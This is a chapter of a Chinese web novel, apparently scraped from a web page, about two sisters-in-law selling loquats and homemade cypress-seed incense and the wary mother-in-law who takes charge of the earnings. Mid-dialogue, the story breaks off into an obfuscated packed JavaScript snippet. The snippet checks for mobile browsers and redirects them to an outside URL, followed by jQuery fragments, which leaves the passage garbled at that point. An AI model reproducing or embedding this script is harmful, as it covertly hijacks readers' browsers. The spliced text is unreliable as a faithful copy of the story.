进了屋,将勾篮放下,两个人都有点腰酸背痛。冯五月想起卖枇杷的钱还在自己手上,连忙交到蔺春来手上。 “嫂嫂,我忘了把钱给你了。” “给我干啥?” 蔺春来没打算接,她虽没摸清俞大娘的想法。但根据日常可以推测,卖枇杷的钱定是要交到俞大娘手上的。 至于自己卖线香的钱…… 她郑重道:“等娘回来,你给她便是。” 那意思,摆明了自己不会经手这部分钱。 冯五月心下叹气。 总觉得,她有时候太客气了,客气的甚至有些生分了。 “那等娘回来,我再给她吧。” 她默契的也没张口问卖线香的钱。 忙忙碌碌,一晃又到傍晚。蔺春来抓紧时间,把带回来的侧柏子挑选了。估算着量,清洗过后焯完水,放在笸箩上晾干。 用笸箩时才发现,笸箩竟然烂了个洞。 她有些郁闷,琢磨着,之后还得想办法再编几个放东西的容器。 心里记着这茬,第二天,早起觑着侧柏子晾干了,她拿出了上次没用完的黄酒。幸运的是,那酒味道没变得更酸,还能再次利用。 一骨碌将侧柏子倒进去,她这才腾开手忙着编织容器的事。 松针是别想了,松树都在山上。 竹子也在山上,但上次砍竹筒时发现的几根竹子劈开,也能编成容器。 说干就干。 她去屋后头翻出几根竹子,陈年竹子已经被风吹干,摸着实在坚硬。若要用,用之前,得先用热水煮一煮,让其回软。 剖竹篾丝,编织簸箕,一整套流程下来,四天又过去了。 中途她和冯五月一道,又去了两次镇上,连着卖了两天枇杷。 说好了休息一天,第五天又去。 这一天,俞大娘回来了。 回来第一件事,是站在门口看枇杷树。待看到走时还硕果累累的枝头变得单薄,她心中满意。 冯五月见她回来,忙把这几天卖枇杷的钱交上去。 “我和嫂嫂去镇上卖了三次,总共卖了四百二十文。” 大勾篮能装十斤左右,小勾篮能装四斤左右,去一次集市,两个人能卖十四斤。今年枇杷市价十二文一斤,镇上要便宜些,三次赚四百二十文,差不多。 俞大娘心中有数,点头,“树上剩的果也不多了,你们不用去了。我去做活的时候一并采下来拿去卖。” “可是。” 冯五月惦记着卖线香的事,话一出口,想起她还不知道蔺春来在外头卖线香,一时间便有些犹豫。 她看向蔺春来,蔺春来道:“娘想让我们少跑一趟,我们晓得。不过,本来也是要去镇上的,娘要是不方便,我们再拿去卖也是一样的。” “还要去镇上的?啥意思?” 俞大娘本来想说,剩下的果有些皮相不太好了,你们把实在不好的摘下来自己吃。话还没说出来,听到蔺春来说还要去镇上,眼皮子一跳。 蔺春来知道瞒不过去,道:“上次放进黄酒里的柏子,我已经捞出来,搓成了线香。正好前几天蛇王生辰,卖枇杷的时候我顺便把线香拿去卖了,总共卖了二十五文钱。” 二十五文? 俞大娘眼皮子又是一跳。 她有些意外,上次她还说,那玩意又不能吃不能喝。结果扭头蔺春来拿到镇上去卖,还卖出去了? 二十五文啊,是一笔不小的钱。 她干一天活,工钱是十四文,还要给工头抽成一文,到手也不过十三文。二十五文,赶上她做两天工的工钱了。 卖枇杷看似赚得多,可枇杷一年才结一次果,一年只卖这几天。今年若不是枇杷大年,还卖不到这么多钱呢。 “我和五月回来的路上,又采了些侧柏子。上次的黄酒还能用,我便想着再做一些,拿出去卖。” 蔺春来见她没说啥,转身去屋里把那二十五文拿了出来。 她把钱递到了俞大娘跟前。 俞大娘目光落在她脸上,“你赚的钱,我怎好拿?” “是五月和我一起搓的线香,侧柏子也是五月出头得来的,黄酒是家里的,钱放在谁手里都是一样的。” 蔺春来面上不见一丝不满。 俞大娘目光软和了几分,“你为了家里的心,和我们都是一样的。这钱,我先帮你们保管,日后,用到的时候,我再拿出来。” 至于再去卖线香。 俞大娘心中犯了难,去一次就行了,还要去?可不去,浪费了。 还是放不下一文一文的钱啊。 “五月对镇上熟悉,有她带着我,娘放心便是。娘的头巾,我用着合适。只是我用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480776|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,娘就没有了,天热,我这头发也该剪一剪了。” 蔺春来意有所指。 俞大娘听明白了,是在说,让她放心,没有遇着熟人。 放心放心,这心,哪里能彻底放下来呢。 她嘴上没说什么,转头,等藏好钱,出声叫住进屋拿东西的冯五月:“五月,你们这几次出去卖枇杷,遇到熟人了没有?” “没有。” 冯五月不解其意,还说:“咱们家哪有什么熟人,不就村里这些人。村里人去镇上赶集,都往大集上凑,哪里会遇到我们。再说了,就算遇到,咱们家不偷不抢,每年都这时候卖枇杷,他们也不是不知道。” “你不懂。” 俞大娘还是那一句。 知道再问也问不出什么,两个人鸡同鸭讲,干脆摆摆手,将冯五月轰了出去。 等冯五月走了,她继续坐在床沿上出神。 蔺春来啊蔺春来,瞧着,倒是个安分过日子的。刚才把钱给自己,不见一丝不愿意,这是个知道轻重和分寸的。 这么一想,心中原本因为沉塘一事对蔺春来的十分不满消解了几分。 但心事就是心事,疙瘩还在,她暂时还是无法做到相信蔺春来,毫无保留地将钱交给蔺春来保管。 * 因为说了要去镇上,蔺春来本来想等一等,等线香做好了再出门。可人等得,枇杷等不得,枝头还剩一点枇杷,再等就要错过最佳品尝时间了。 没办法,她只得和冯五月一道把那些枇杷采下来,拿去集市上卖。 枇杷差不多三斤,大多品相不好,最后只卖了二十二文钱。 卖完枇杷,手头事了,是时候该搓第二批线香了。 将之前浸泡的那些侧柏子捞出来的同时,蔺春来把新焯过水的侧柏子又丢了进去。用了大半天,搓完第二批线香,没耽搁,第二天,她就和冯五月上镇上去了。 这次倒赶巧了,正好赶上药王生辰。可惜,药王庙在县里,去县里,可比去镇上麻烦的多。先不说路途遥远,就说进城手续,就把人难住了。 蔺春来不欲此时冒头掐尖,毕竟,办公验得去找里正。 她倒是期望能像上次一样好运气,遇到一个大主顾。 可惜的是,她想多了。 没有热闹的庙会,这一次,线香并不好卖。上次卖线香的时候,她也了解过,虽然百姓们上供的香五花八门,但像她搓的这么细的线香,其实并不怎么走俏。 上次,那纯粹是她运气好。 冯五月毫不畏缩的沿街叫卖:“都来瞧一瞧看一看,手工搓的线香,来自山林里的味道,供佛供先祖,都很合适!” 有人看,有人问,但就是没人买。 “我们去蛇王庙门口碰碰运气。” 蔺春来想去庙门口撞运气。 虽然去上香的人基本都带着香,但万一呢,万一真有几个漏网之鱼呢? “好。” 冯五月没有异议。 两个人往蛇王庙门口走,谁知,走着走着,冯五月停下了。 蔺春来侧身看她,却见,她一张脸白得跟纸一样,整个人摇摇晃晃,额头也在冒着细汗。 “嫂嫂我。” 冯五月张口,话还没说完,已经一跟头栽了下去。